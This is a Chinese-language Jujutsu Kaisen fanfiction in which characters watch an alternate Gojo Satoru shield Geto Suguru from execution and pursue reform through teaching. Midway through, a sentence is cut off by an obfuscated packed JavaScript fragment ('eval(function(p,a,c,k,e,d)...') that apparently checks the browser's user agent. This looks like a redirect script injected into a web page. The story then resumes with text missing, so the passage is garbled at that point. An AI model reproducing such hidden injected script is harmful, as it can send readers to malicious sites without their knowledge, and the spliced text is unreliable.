【蜡烛缓慢地燃烧着,屏风上人影在暗处晃动,他们低声交谈着,像是躲藏在幕后的鬼怪,密谋着见不得光的事,吐出来的语调越来越快,越来越急,泄露出几道不稳的喘气声,焦灼而愤怒,如刺一般划破了表面上掩饰出来的平和。 他们所谈论的是一根扎入血肉里的钉子,看不惯也不能长久地忍受着,深怕时间过去越久,它就会从中汲取养分化作那传说中的恶鬼反噬宿主,为此他们时刻警惕与谋划着如何把这根钉子拔出来,然后掰断,以除祸患。 于是他们不再抑住声音,字里行间都在声讨,诅咒师。盘星教。联合趋势。】 “这是?”虎杖悠仁疑惑地问道。 “咒术总监部。”夜蛾正道沉声回复。果然,咒术总监部不会置之不理,任由这个极大的威胁在眼皮底下快速膨胀。他们打着正义的旗号去批判、妄图宣告邪终不压正,同时却又在畏惧这股新生的且不能被自己掌控的反叛势力。 就夜蛾正道对咒术总监部的了解,他一时不能评价前者与后者谁沾上的罪孽更重,谁犯下的错又更多。 【跳动的火焰中闪过模糊一幕,黑压压的人群如抱团取暖般拥簇成圈,却刻意留出中间的地带,他们的面孔上是压抑不住的狂热与虔诚,迫切地望向伫立在此间的救世主。而那人隐没在阴影里,只能窥见一个隐约的轮廓。 “他这是要造反吗!” “我们不能坐以待毙!” “这事关咒术界的和平!” 一瞬间这里炸开了锅般的沸腾,他们叫嚣着,像是要证明给谁听一样,口口声声说都是为了正义,但显露的嘴脸却充斥着被挑战了权威后气急败坏的腐朽与顽固,如同咒术总监部本身这个存在。 有人宣判道:“不能再等下去了,死刑!即刻执行!”】 他是谁不言而喻,极恶诅咒师,盘星教教主,前特级咒术师——夏油杰。 “死刑啊……”虎杖悠仁近乎喃喃自语,而就坐在旁边的钉崎野蔷薇耳尖地听见了,少女像是平常打闹一般自然而然地拍了拍他的肩,唤回了他的注意力,伏黑惠也被这个动静所吸引,他投过来一个“没事吧”的眼神。 对此,虎杖悠仁又恢复了往常那般的轻快开朗,笑容明亮地摇了摇头以示无事。 身为两面宿傩容器的他也身负死刑,幸亏夜蛾校长多方打点才改为了缓刑,但是自虎杖悠仁正式选择踏入咒术界,选择与他的新同伴们一同前行的那一刻起,他便知道等在自己前方的是什么了。若因他的存在使两面宿傩再次拥有机会去祸害人间,那是虎杖悠仁绝不愿看见的。为了正确的死亡,他想到。 而接下来放出的内容引起了轩然大波。 【“你还在等什么,五条悟?” 屏风后的一名老者抬起眼来,阴影模糊了他的面孔,语调不紧不慢却如刀刻般锋利,妄图将眼前之人逼到尽头,“他将要挑起一场毁灭,而你是打算置身事外吗?” “准确来说,你是想要包庇他吗?”】 几乎所有人都皱起了眉,钉崎野蔷薇不敢相信自己听见了什么,她率先沉不住气地开口质问出声,“他们这是在胡编乱造什么?” 夜蛾正道也是一副又惊又疑的样子,更遑论那些不懂弯弯绕绕的年轻学生。他的目光落在仅有一镜之隔的对面,最强咒术师将神情隐没在阴影里,让人捉摸不透,只是微抿的嘴角透出几分厌烦,像是对这些说法极其不耐。 而一旁的女医师眼中平静,对于咒术界最强有包庇之嫌的这种可能无动于衷,像是早已经听过成千上百遍了,又或者,确有其事。 无论是哪种猜测,都是夜蛾正道不愿去深想的。 他敏锐地意识到,能让咒术总监部恨不得除之而后快的人必然不简单,而若真的确有其事——又能让咒术界最强的态度有失偏颇的人——只会使局势更为复杂。 【白发咒术师大喇喇地反着椅子坐,没个正形地撑着脑袋,即便白色绷带遮住了那双眼睛,但依旧可以看出他身姿的放松,好像被质问的当事人并不是他自己一般的闲适,听到这话他甚至没有抬起头来,一副已经听腻了的兴致缺缺的样子。 而正是这样引起了另一方更大的不满与怒气,他们似乎根据心中的某把尺子判定了什么,自顾自地嚷嚷起来,“你这是背叛!五条悟!” 火焰突然跳动了一下,在一众批判的声音中从某个角落里传来一道不太和谐的话语,看似不经意地提及没有什么太大关联的人,“你就这么不在意你的老师同伴了吗,还有信任你的学生后辈们?” “这话可不能乱说,”五条悟此时才抬起头来,他稍微调整了下坐姿,拖长着语调反问道。 “还是说,你这是在威胁我?”】 在场的某些人精听懂了这些话背后的隐含之意,这是银幕上第一次出现【五条悟】。他与夜蛾正道、虎杖悠仁等人旁边坐着的五条悟似乎没什么不同,一模一样的漫不经心,随心所欲,对掌握着咒术界『规则』的咒术总监部也不放在心上。 但五条悟注意到,另一个自己没有正面回答那个“包庇”的问题。 【一时间没人再开口说话,骚动的嘈杂声隐没在了黑暗里,直到那扇阻隔视线窥探的屏风后传来重重的拐杖敲击地面的碰撞声,一个不愿再纠缠的信号。 倒是白发咒术师此时多了几分谈话的兴致,“我还没跟你们算账呢。”他的视线划过昏暗灯光下投射出来的人影,“当我不知道你们在一年级生的任务中动了手脚吗?” 话音落下,没人敢应答。 五条悟倒也不在意,慢条斯理地继续说道,“优秀的老师当然要给学生们锻炼自己的机会,你们说是吧。” “不过,我不想还有下次,手不要伸得太长了。”白发咒术师站起身来,在较为狭窄的空间里显得更有压迫感,而这句话的言外之意不言而喻。依旧没有得到回复,他倒是不怎么在意,五条悟拍了拍手,语气轻快地宣布,“那就这么结束吧。” “时候不早了,我也该去接我的学生们了。”】 虎杖悠仁忍不住有点感动,“原来在我们看不见的地方,五条老师承受了这么多吗?” 听到这话的家入硝子和七海建人面无表情,果不其然五条悟就笑呵呵地说:“这种声讨大会我几乎没去过几次呢。” 因为人家被你轰过几次就也不想再见你了,所以根本就不存在什么感动呢,知道内情的人心想。 “不过这个我居然这么有耐心啊。”五条悟状似无意地感叹了句。而看着自家的这个白毛教师,钉崎野蔷薇拳头硬了,人比人,气死人。 【五条悟】强硬的反应出人意料,凭家入硝子对五条悟的了解,如果学生这个问题摆在他前面,他绝对会下一秒轰掉这里,就像他曾经就做过的。不是因为被威胁到学生的安危,而仅仅只是因为这触犯到了他。 谁也想不明白五条悟为什么在毕业后跑回了自己的母校选择当个教师,也许是一时兴起,但东京咒术高专既然挂着他的职位,就显而易见地被划到了这位暴君的名下,所以有人敢动东京高专,就明摆着是在说要和五条悟过不去。 而银幕上的【五条悟】这副模样,倒真有几分尽到教师这个身份的职责。家入硝子突然出声问道,“这个时间点的五条悟也是二十八岁吗?” 空气跳动了下,出现了回答。 【二十五。】 他比她以为的更年轻点,又比她记忆中的要更可靠。 其他人疑惑地望向她,家入硝子只是继续问下去,“隔壁的那个呢?” 【二十八。】 他们的时间线没有相差太多。她想,一个断层。这个想法在家入硝子听到对方玩笑般谈及“正论”时就已经蛰伏很久了,又或者在她踏入这个神秘的地方见到另一个【五条悟】的第一眼,就已经存在了。 不仅仅是一面单面镜阻隔着他们,而是一个断层。 白发咒术师此时终于从千篇一律的咒术总监部声讨大会中找出了属于这一段更多的细节,他记得这个时候自己教导的那届学生,和大多那个年龄阶段的少年一样,年轻而缺乏经验。 而当时的他足够强大,强到足以在最危险的一刻出现然后力挽狂澜,以至于其他人都认为,有最强咒术师在,总不会输的。 但他自己知晓很多事并不尽然。 【“五条悟。”门口的蜡烛仍旧在缓缓地燃烧,有人在他即将打开门离去的那一刻叫住了他,似是提醒,似是劝诫,“死刑早已判下来了,你还要再等到什么时候?” 满面的风雪顺着敞开的门扑袭而来,将只剩一小截的蜡烛忽地吹灭了,他没有回头看,只是摆了摆手。 “再等等吧。” 上个世纪的建筑内里已经腐朽得不成样子了,外头却被人为地尽力保持着完好如初的模样,只有角落不起眼处残破的墙皮落下灰屑后,透过裸露出来的壁里才能窥见它被留存下来的年代感,轮过一个世纪,或许两个世纪那么长。没有生命的东西总是比人活得更长久。 而人也不是一成不变的,年轻的家臣想着。 视野里出现了一个人,在这满目疮痍的白色中,他不需要如常人般畏惧严寒与风霜,深色的教师制服依旧干燥整洁,没有沾上一丝呼啸而来的风雪,这些统统都被阻隔在外,他则不受任何侵袭。 “家主大人。”他这样毕恭毕敬地称呼道。】 坐落在后一排的学生们轻轻地哇了一声,新奇地用不一样的眼光重新打量了下这位白毛教师,东京高专的人鲜少有想起五条悟这层身份——御三家之一的五条家家主。仅是最强咒术师这个名头就足以象征他在咒术界的地位。 “有点印象,五条家的人,”五条悟从记忆里扒出来了一张相同的面孔,似乎是几年前本家二长老从旁系提拔出来的一个挺有能力的后辈,有意让这人负责一些家族事宜,但人家无疑很会看眼色,没有试图往他这里凑,即便其实五条家家主名义上管事的是他。 看来另一个我有够闲的,他想着,又一个不同的地方,毕竟自己向来对这些家族相关的人和事都没有想搭理的念头,而这个旁系则无疑为【五条悟】办事。 倒是学生们奇怪的关注点落在了那无形的屏障上面,钉崎野蔷薇嚷嚷道,“所以无下限真的什么都能抵御,这简直是在作弊。”虎杖悠仁兴致很高地举起手来发问道,“那下雨的时候,五条老师是不是也不用打伞了,这真的很方便诶,而且还是自动的,真酷。” 伏黑惠听了虎杖悠仁的发言忍不住扶额,虽然确实是这么个道理,但还是有点怪,论无下限的多种用法吗? “是有弱点的哦,”五条悟竖起来了两根手指,在空中晃了晃,在其他人好奇的目光里笑眯眯地继续说道。 “——不告诉你们。” 钉崎野蔷薇痛恨地骂骂咧咧,嘴里念叨着老娘平生最讨厌话只说一半的人,“果然是混蛋。” 对此,五条悟不置可否。 【“已经确认是加茂家的人了。”家臣把自己调查到的结果说了出来,这次咒术总监部会议举办的时间有点古怪,还打着一个原本向来只能睁只眼闭只眼的幌子试图来牵扯住最强咒术师,如果没人在背后挑唆这些老家伙,他们不会闲得没事在上次会议结束不久后又急忙操办一次。为此他花费了不少门路去探查这背后搅浑水的人。 五条悟的神情没有什么变化,像是有所预料,只是开口说出来的话透着比风雪还凛冽的淡漠,“他们这是在警告我吗?” 不仅仅如此,他们试图针对的还有被划分到五条悟名下的东京咒术高专。近几年来从这所学校毕业后的学生有几个选择继续祓除咒灵,也有选择投身于咒术界上层建筑的新生力量,而后者显然动了某些人的利益。 家臣没打算吭声,这些从东京高专走出来的人在背地里都被打上了五条家派系的标签,因为他们在高专时无一都被五条悟教导过。 “这样看来我得抽个时间好好和对方坐下来谈谈了。”白发咒术师的嘴角扬起,但眉眼间却没染上几分笑意。】 “他这样做无论是有意还是无意都插足了御三家的利益链,但如果是有意的话,他是想要控制吗?”夜蛾正道更倾向前者那个可能,他的脑海中出现一个模模糊糊、看不真切的念头,但支撑它的信息过于零散,关于咒术总监部,关于御三家,关于高专。 不清楚其中内幕的学生一脸疑惑,试图理解他蹦出来的这个词眼,“可如果是这样的话,那武力压制不是更容易吗?”开口的是五条悟。他确实有说这话的资本与经验,就像是他所做的。无论是咒术总监部还是御三家,都对他闭紧嘴巴,不愿明面上去招惹这位独裁的暴君,他用绝对的强大验证了他所信奉的,实力即是一切。 “不,他想要的不是单纯的控制。”夜蛾正道几乎是脱口而出。就像五条悟提到的用武力,更简单、更直接、也更粗暴,同是一个人不可能对方没有想到这条捷径。有一个深层次的原因隐藏在这些行为的背后。 “这听起来很复杂,但显然与我们没有什么干系是吧。”胖达耸了耸肩,试图用轻松的话语缓解下氛围。 七海建人摇了摇头,“我倒是认为,学生可能在其中占据了一个很重要的地位。”教师对学生存有保护欲可以说是合乎情理,但前提是那人不叫“五条悟”,这其中必然不简单。 “我知道了。”几乎是在七海建人话语刚落,夜蛾正道就立马想到一个令人不敢置信但又可以合理解释【五条悟】种种表现出的念头。 一个核心的拼图被翻了出来——学生。 “他想要改革。”夜蛾正道沉声地开口。 “我想要改革。”几乎是在同一时间,隔壁的最强咒术师也开口说道。 “这真是五条悟会说的话?”家入硝子语气古怪地问道,他们还没来得及思索夜蛾正道为什么会得出这个结论,就被当事人直白的答案给狠狠吓了一跳,包括五条悟在内的人神情都很微妙。 隔壁唯一的听众没有任何特殊的反应,女医师无疑对此是知情的,这让他们的神经不得不更加绷紧,没有人能理所当然地接受这么多的差异,更何况说这话的是“五条悟”,一个在他们世界里所有人都认为完全以自我为中心的最强咒术师。 而如今这人坐在离他们不远处的地方,白发咒术师微微挺直着腰,十指合拢抵在下颌处,没有其他遮掩物覆盖在那双苍天之瞳上,可以清楚地看见他眼里的认真之情不似作假。他不年轻了,即使他的外表依旧完美无缺,和最初的六眼神子没有太大区别,可是,人的内里都是会变的。【五条悟】早就不是神了。 “咒术界的势力盘根错节,咒术总监部、御三家以及京都咒术高专和东京咒术高专,一环扣一环,而连系着的根早已从几百年前就已经腐朽了,除掉这一批很快就会有下一批吞噬掉前者的残躯爬上来,又是一个新的轮回。” 咒术界发展成如今连政府都要为之避让几分的庞然大物,它的历史已经过去了几个世纪,里面牵涉的利益越来越深,而权力与地位总是能滋生出旁人的贪婪与野心。 “我想要改变源头,能做的就是换一批新鲜的血液注入其中。我知道这会要花费很长时间,但以杀止杀只能压制得了一时。” “而你知道的,我想要的不仅仅是这样。”【五条悟】坦然地望向他的同期,被投以视线的女医师当然清楚,他想要的更多,也更难以实现。 “五条……我希望坐在这里的不止只是我一个人。”听到这番话的不该只有她一人,女医师轻轻地摇了摇头,没让他再继续说下去,那些现实却又极其伤人的话她终究没能说出口,他们都知道最后的结局。 早已不再为人师的夜蛾正道听了这番话面容有所动容,欣慰中却又带着点针对自己世界的五条悟的恨铁不成钢的复杂情绪糅杂在一起,他喟叹不已,“所以他才选择了教育这条路。” 学生们你望着我我望着你,彼此间小声争论的无非是有关改革与五条悟,只是后者在他们印象中很难与前者相联系起来,那可是五条悟诶,他们如此谈道。而尚且稚嫩的他们这时也才意识到,在咒术界走改革这条路所要承担起的责任有多么沉重,这看似简单的一句话背后所面临的困难与阻碍又有多少。 五条悟的目光难得出现超出他思考中的茫然之意,家入硝子倒是很快地接受了隔壁那人的那番说法。她无所谓地摊了摊手,只是话到嘴边瞥见这位向来任性妄为的大少爷那副模样,语气稍软了半分,她叹了口气,“反正他又不是你,五条。” 他所选择的是简单、直接、粗暴的那一种,只顾着当前,将咒术界的棋子随他心意地打乱,却不甚在意深入骨髓的祸根——那早已腐朽的棋盘。无论是家入硝子、七海建人还是夜蛾正道他们这些早已不再年轻的咒术师都知道,那些潜伏在咒术界的鬼怪仍然活在阴影中,只是迫于最强的武力而时刻蠢蠢欲动着,总会有恰到好处的“信息误差”出现,总会有替罪羊推到表面上了,他们找足了一切借口——毫无意义的一轮又一轮。 他们的世界里,没人站出来说要改变源头,哪怕有也不是五条悟这般存在,只能说是心有余力而力不足。 【家臣颔首会意,五条家自然会站在这位当今最强的咒术师背后,只不过他现在犹疑着的是下一件事——从某个秘密渠道中无意进入他耳里的一个情报,处理它的方案有很多种,但难就在难在开口。 五条悟不会没有发现他的欲言又止,只是他在静静地等待着家臣自己主动开口,年轻的家主不介意给出一点时间和耐心,但谁都明白后者可以随时收回,更遑论这人是五条悟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这算是私情吗?”虎杖悠仁问出了其他人也想问的心声,但这个用词比“包庇”让人在情理上更能接受,连夜蛾正道都一时哑口无言,他心情有些许复杂地看了眼当事人。能让最强咒术师做到这个份上就足以说明他们之间亲密的关系,他知晓自己这学生表面上嬉皮笑脸和谁都能开玩笑,但其实很少有什么是他放在心上的,与他相对交好的人也屈指可数,他的性子是打从骨子里透着凌驾于天的淡漠凉薄。 令夜蛾正道扼腕叹息的是,偏偏与之交好的这个人又是夏油杰这般立场相反的存在。结局真的会令所有人皆大欢喜吗? 对于【家入硝子】的问题,白发咒术师沉默地盯着银幕,他无意识地屈起手指,转而提起一件似乎没有太大干系的事情,“零七年的时候,她来过一趟高专。” 女医师的眼睫微不可察地颤了下,她抬起眼来直视这开口说话的这人,“为谁?” “可能是为了伏黑甚尔。”【五条悟】想起之后自己所听到的消息,谈及此停顿了几秒继续说道,“九十九由基对天与咒缚很感兴趣,原本她是想来见我一面。” “但当时我并不在。”白发咒术师缓缓地眨了下眼。那段时间他总是不在,他想到。【五条悟】深深地吸了口气,“所以九十九由基见到的是他,他们有过一场交谈,但我并不在场。我不知道,硝子。” 他说完最后一个字便抿紧了唇,女医师知晓他提到的是一道始终无法愈合的伤疤,从外表上很难看出端倪,但他却依旧无法开口唤出那个最熟悉的名字。她装作对这点没有半分想法,作为同期的她总得给老朋友留点余地。 【家入硝子】从中察觉到了他的一些想法,当年很多牵扯到的事和人都并不无辜,九十九由基或许也算是一个。这仅仅是个猜测。而这个念头在一个曾想挖掘出其中所有线索、试图拼凑出真相的人的脑子里,已经盘旋了很多年。但却没有一个合适的时机再去探究其中更多的隐情,直至今日,直至现在,直至很久以后。 “伏黑甚尔?”钉崎野蔷薇听到这个人名,下意识地转头看向伏黑惠,“你们俩是什么关系?” 伏黑惠的眉头皱得更紧了,他简短地给出了答案,“我的父亲。”却没有再多说什么了。 听到一个有点耳熟的名字,五条悟想起来了术师杀手掺和进去的那个任务,也是他唯一失败的任务,时至今日回想起来他没有任何波动,即便人最后被他反杀了。要让他来形容的话,那只是一个时机。一个让他彻底突破成为最强的机会——『天上天下,唯我独尊』 只是九十九由基?对于这位常年混迹在海外逃避任务的特级咒术师,他没有什么太多的印象,当时这个人来找过自己一趟也确实是后来五条悟从别人口里听到的。 “所以,这又和夏油杰扯上关系了。”五条悟挑了下眉,至于那两人的对话从未提及过“他”指的是谁,但事情发展到现在他们所看到的这副样子,还有谁不知情。 【“还有别的事吗?”白发咒术师丧失了继续待下去的耐心,雪下得越来越大了。 家臣踌躇了下,语气愈发含糊不清,像是触犯了某种禁忌般犹疑不定,“二长老……让我来过问您一句。” ——你会执行吗? 年轻的家主顿了几秒才反应过来,他想起本家里见过的那个老者,那已经泛白的眉目间留存着时间的痕迹,一双沧桑而犀利的眼睛,里面清醒而透彻,像是观破了世间所有的纷扰。他依稀记得,在更早的时候,在他还未离开京都的本家,在他将要踏上去往东京高专的时候,临别前众多老者站在五条家的门口,他们无一不是已经年迈,甚至有的已经垂垂老矣半截身子已踏入棺材之中,而那人就站在其中,他不同于其他人念叨着无用的废话,只是低垂着眉眼看着他,缓缓才开口。 或许你会交到能与你并肩的朋友。 他的语气像是一个长辈关照晚辈那般的真心,而早年的六眼神子并不需要,对此也只是嗤之以鼻。 而今日他用他人之口转交一句话,一个问题——你会执行吗,他这样问道。五条悟知道这问题背后的未尽之意,可偏偏这人是夏油杰,从始至终都是夏油杰。何其可笑。 白发咒术师轻轻地闭上了眼,却能感知到那风,那雪,它们始终都在耳畔呼啸着,无休止地向他袭来,他并不如常人所以为的那般不受任何侵袭,“再等等吧。” 再等等吧,等最后一个冬日。 他说,“决定权并不在我手上。”】 “决定权并不在我手上。”他近乎喃喃自语,却又与之重合,白发咒术师比影片里的自己只隔了短短的三年,却也足够多了。他等来了最后一个冬日。 女医师轻轻地摇了摇头,没有把口中的那句话说出来——我们都不是那个掌握生死的人。等他们回到现实后等着他们的会是什么,等待咒术界的会是什么。狱门疆破开的封印,恩师后辈的血,最后的希望。 真正的屠刀还未落下。 朋友。友人。学生们张大了嘴,在彼此眼里看见了同样的神情,所有人或多或少察觉到这两人之间的关系并不简单,但这个名头太过人性了,包含许多不必言明却又弥足珍贵的信任与依赖。 可是如今他们所评判的一个是最强咒术师,一个是极恶诅咒师,行刑者与被行刑者。只是这一点,便足以让人心生介怀。 你也会逃避吗,一旁的七海建人张了张口却没说出来。他知晓的不多,仅从银幕上窥见这冬日背后隐藏的影子,那太不像五条悟了,而这个定论也只是基于他对就坐在自己旁边那个不入世的最强的认知所判下的。 更多的是,他得不到一个答案。真正的当事人是他无论如何都做不到当面去索要一个答案的。“是”或“不是”背后随之而来的会是更多的问题,需要更多的答案去填补最初这个简短而空泛的回答。 某种意义上也算是当事人的五条悟,他皱紧了眉头,就他所知的夏油杰,咒灵操术确实很强,难得能激起他许久未有的战斗欲。而他的模样,五条悟回想起那个黑发紫眼的男人,勉强承认对方长得也就比自己差了点,但仅仅是这样吗?就五条悟前半辈子对朋友这种生物匮乏得可怜的了解,他显然不能理解这个称号背后代表的是什么。 “我看上了他什么?”五条悟吞吞吐吐地说道,眼里流露出异常费解的神情。 没人回答他。家入硝子想,但他也没有反驳。夏油杰与女医师的关系才被揭露出来,现在又轮到了最强咒术师。作为另一个自己或多或少能看出来同位体的心理,就像女医师对夏油杰“友人”的称呼确实发自真心,那不掺杂一点虚假。而五条悟也没有对这个同样的称呼进行否认。只是年轻的六眼神子尚未懂得得到与失去,无论哪种感情经验都浅薄得像张白纸,他从未预想过当下这种遭遇,也还不知对他这种存在来说,在茫茫人海中遇见一个极为特殊的人有多来之不易。 有一人足以与他并肩。家入硝子念及这一点时,目光落在那早已落下神坛的白发咒术师身上——只是也有一人的生死他难以决定。 7. 失败的教育 【失败的教育】 【夜蛾正道再抬起眼来时,这才发觉室内的窗户不知何时被人打开了,阳光照进骨头里让人渗出些昏昏欲睡的暖意。他揉了揉眉心,想缓解连续几个小时高强度的工作积累下来的疲倦,摆在面前的是这一届新入东京高专的学生档案,人数比起隔壁的京都依旧少得可怜,而作为校长的夜蛾正道也早已对此见怪不怪了。京都咒术高专往往纳入的是咒术界传承至今的术式家族中存有的好苗子,包括御三家的嫡系。当然也有个别例外。 有另一个人在这里。阳光透过窗户将影子拉长,夜蛾正道瞥见大喇喇地躺在沙发里的那人,一本打开的书被随意地搭在他脸上遮住了面容,只有乱糟糟的白发显露在外,身姿像是睡着了般的放松。 沉甸甸的重量压在他手中,视网膜上仿佛仍残留着三个十五岁大的新生的稚嫩又鲜活的面孔。夜蛾正道此刻没有想到未来摆在他们面前有关咒术界、咒术师以及改革的种种现实,他在有些缓慢迟钝的思维里,不经意想到的是一份青春就此赌在了这些档案上,挂着互为同期的名义。他们都还年轻。 “总之交给你了,五条。”夜蛾正道知道他醒着,将档案放在了他面前。】 “是夜蛾的视角,”五条悟依次在家入硝子、他自己、以及夜蛾正道的身上指了指,然后将目光投向第一排剩下的那个人,“那接下来就是娜娜明了吧。”现在看来这座位的安排有它自己的特殊意义所在。 “我觉得不至于。”七海建人颇有些头疼地否认道,他也不愿和这一看起来就很麻烦的事扯上关系。而夜蛾正道本人对此或许有些猜测,只是微微颔首,并未对这轮视角是自己而感到多少意外。 “特例是指五条老师吗?”虎杖悠仁问道。听见这个问题的家入硝子脸上稍有些嫌弃之意,她的语气算不上太差,“还能有谁,就你们那个白毛教师。” 青春。同期。五条悟。好吧,一提起这些关键词,一向成熟稳重的女医师忍不住啧了一声。当时五条家的大少爷不在京都好好待着,闲得叛逆跑到东京高专来祸害这边的师生,虽说五条悟那一届只有两个人,好巧不巧的是另一个就是家入硝子。她很少回忆这段时光是因为没有什么值得家入硝子纪念的,她依稀记得对方第一天开学知晓自己唯一的同期是个脆皮奶妈的时候,露出了一个高高在上而傲慢的表情,语气张狂地开口就是一句“你好弱的样子”,当初有被这句直白而实在的话气到的家入硝子,就在心里暗暗发誓,如果这傲慢的自大狂哪次受伤了,她绝不会帮忙治疗的。 时至今日,家入硝子对这句话早已没有什么切实想要去记恨的心思了。反转术式拥有者只能待在后方是事实,六眼神子强到不需要他人也是事实。一个自由自在地在高专里头的图书馆和医务室两头跑,一个自由自在地在高专外头的甜品店或者其他什么地方乱逛,这都是事实。她年轻的时候还会拉着隔壁京都的庵歌姬狂倒苦水,说这孤零零的东京高专毫无青春体验,又会嘴硬着讲一个人过日子自由自在快乐加倍,绝口不提剩下因此而生的怨念与不甘。只是太过年轻。 偶尔、很少的时候,家入硝子也会稍稍地惋叹,并不是所有人都能够拥有一个色彩斑斓而明亮的青春,也不是都毫无遗憾可言。只是她在很久以后念及此,没有怨念,没有不甘,有的是一句对自己运气差的玩笑罢了——怎么就我的同期是五条悟这个混蛋呢。没有一个青春值得她纪念。 【白发咒术师懒懒散散地舒坦了肩膀,从柔暖的沙发上直起身来,接过档案匆匆扫了几眼便又合了起来,他用鸡蛋里挑骨头的不太认真的口吻说道,“资质看起来勉勉强强,至于剩下的等我回去再看吧。” 对这教师不甚上心的态度,夜蛾正道也见怪不怪了。 在大多日本普通大学生毕业没多久才踏入正式岗位的时候,他的这名学生就已经教了两届一年级生了。如今是第三届。东京高专外的人最初还在凑热闹看个笑话,但一届又一届,没想到这位最强咒术师真能在这个枯燥无味的位置上难得有耐心地干这么久。 而人入中年已经成为校长的夜蛾正道,足以称得上事业有成,旁人知道他教导过谁后,一阵惊讶又心服口服,恭维几句名师出高徒,你这后继有人啊。夜蛾正道对此只是笑了下便没个后文。五条悟那一届是他教的最后一届,在那之后,他便正式成为了校长。 纵观夜蛾正道教书育人这么多年,之后他们提起的都是五条悟、家入硝子。最强咒术师、反转术式拥有者。却又绝口不言这一届的另外一个人。有些人是不愿谈及便彼此心知肚明地装作这个人不存在,而后来的一些人则只知道那个臭名昭著的极恶咒术师,不知其他。】 抓住了校长话里泄露的一点只言片语,学生们惊呼道,“他和五条老师还有家入医生居然是同期!”对于他们而言,这一点足够解释为什么那三人之间关系匪浅。 因为他们是同期。不只有五条悟、家入硝子,还有另一人存在。反应过来的家入硝子下意识地看向旁边的五条悟,那人只是挑了挑眉,没有过多的表态。他早有猜测。 注意到家入硝子的视线,五条悟像是知道她在想什么,“我并不在意这个,”他微不可查地停顿了下,似乎在思考措辞,“同期也好,比我早一届或者晚一届都无所谓,我只好奇这其中到底发生了什么。” “而且你不也早有这个猜测吗?”这个反问让家入硝子呼吸一滞,他就这么望着她,苍天之瞳下一切无所遁形。他知道,他从始至终都知道,那些她曾经的怨念,她由此而生的不甘。但他不在乎。 “不,五条,”家入硝子难得如此强硬地否认,她否认的是他的上一句,“你有没有这样想过,正是因为他的存在,才让原本你不在乎的一切都变得在乎起来了呢?”没有一个青春值得她纪念,那么你呢? “只有我记得这是夜蛾的主场吗?”胖达弱弱地说了句,怎么这两人现在讨论的话题逐渐让一众学生都听不懂,这种感觉上一次出现还是在另一个【五条悟】和【家入硝子】的对话中。而夜蛾正道则是叹息般摇了摇头,那是他也不好掺和的事。 “你为什么会这么认为?”五条悟在两人间一瞬的静默中抬起眼来,语气颇带上了几分针锋相对的意味,那副神情再次出现了,高高在上的傲慢,一种与生俱来的气场。 “我所看见的。”她回答道。 【他们都称他教导有方,夜蛾正道则知不尽然。在当上东京高专的校长之后,有一些东西永久地卸下去了,还没等他反应过来,新的名誉被给予,新的责任被赋予,夜蛾正道只能接受。他不再是老师了。 但有一人继承了他的衣钵。这个人是夜蛾正道把时间倒回好几年前想破脑袋都想不到的人,可是在一些事情切实发生之前,没人能给好几年前的他提醒,也没人能把时间倒回。 只是在某天,那人大摇大摆地进入夜蛾正道的新办公室,门也不敲一声,他用一种极为平静的语气说,“我要留在高专当老师。”不是商量,是通知。 他的手抖了下,笔下的墨色晕染了垫在桌上的档案,但夜蛾正道记得当时自己面上也很平静,只是直视自己这名学生。他已经毕业了,有选择属于他一人接下来要走的路。在年长者看来,他仍旧还年轻着,从中依然能窥见几分少年时期的影子。 但不再如夜蛾正道印象中那般肆意放纵了。 “你当真想好了吗,五条?” 你当真想好了吗,被问及的那人没有立即回复,五条悟抿紧了嘴不发一言,他大可以利落地回答一个当然,如他往日的作风一样,但发问的是教导过他的师长。他曾教导过另一个不在场的人。 夜蛾正道触及那人墨镜背后眼里掺杂的血丝,几乎不忍再次开口,却见他深呼了一口气,转过身去把闭着的窗户打开。空气流动了起来,如活了一般注入新的氧气,原本堵塞着胸口的浑浊也逐渐消散了。 他看向有些不明所以的师长,张了张口,舌尖上似乎有无数个玩笑可以蹦出来,但说出来的却是。 “我只是开个窗。”】 “上帝为我们关上了一扇门,必定会留下一扇窗。”女医师突然念出了这样一句话,“你当时想起的是这个吧。” 白发咒术师似乎嫌光线有点刺眼,但实际上这周围并不亮,反而显得暗沉沉地有点透不过气来,他抬手遮掩了自己的眼睛,没有正面回答,“这招对夜蛾很管用。” 那是在一次惹怒了夜蛾正道之后,他们齐齐被罚跪在地板上,缘由已经记得不太清了,准确来说是能够惩戒的理由太多了,也太繁杂了。唯独深刻的是那时夜蛾大概气极了,板着一张脸,最开始也不说什么,就沉默着,整个气氛压抑到了极点,剩下的人难得没敢吭声。 你们谁能告诉我「教师」这个职业存在的意义?夜蛾正道问道。没人回答。一点也不让我省心。他有些失望地摇了摇头。那时还是短发的女同期在夜蛾正道看不见的地方使眼色,疯狂暗示着谁能够快点打破僵局,不然今夜检讨书字数绝对破历史最高。五条悟看空气看地板就是没给对方一个反应。最后的希望落在了另一个人身上。 就在他左顾右盼的时候,女同期突然匆忙地喊道,他快喘不过气了!谁能去开个窗?她神色焦急地扶着疑似陷入突发状况脸色苍白的黑发少年。五条悟一脸懵逼地抬起头来,还没等他弄清楚什么状况,夜蛾正道就已经匆匆把窗打开了,凝滞的空气重新流动起来,冲散了室内原先沉默的气氛。他转过头来刚想问学生怎么样了,却见那黑发少年已经站了起来,明亮的光线从窗户外透进来,落满了他半个肩头。他笑了起来,这就是我的答案。 你是开窗的那个人,夜蛾老师。 一个很巧妙又让人失笑的答案,最后他们逃过了那次检讨。但白发咒术师记得当自己说出口时,曾经的师长久久地沉默着,他知晓自己在说什么,他无疑想起了那段被时间洪流掩埋的记忆,以及记忆中的人。这是你自己做出的决定吗? 最强咒术师恢复了平常那副天上天下我是你老子的模样,将要说出口的话语在嘴里绕了个弯,不然还能有谁。 还能有谁。 “不应该是‘打开一扇窗’吗?”虎杖悠仁挠了挠头,而且这个回答简直完全让旁人摸不着头脑。 夜蛾正道解释道,“应该是化用,如果我没想错的话,是说倘若自己凭一己之力打不开那扇窗,那么教师存在的意义便在此。”但这不像是【五条悟】会说出来的话,反而像是这位最强咒术师借他人之语,承他人之路。 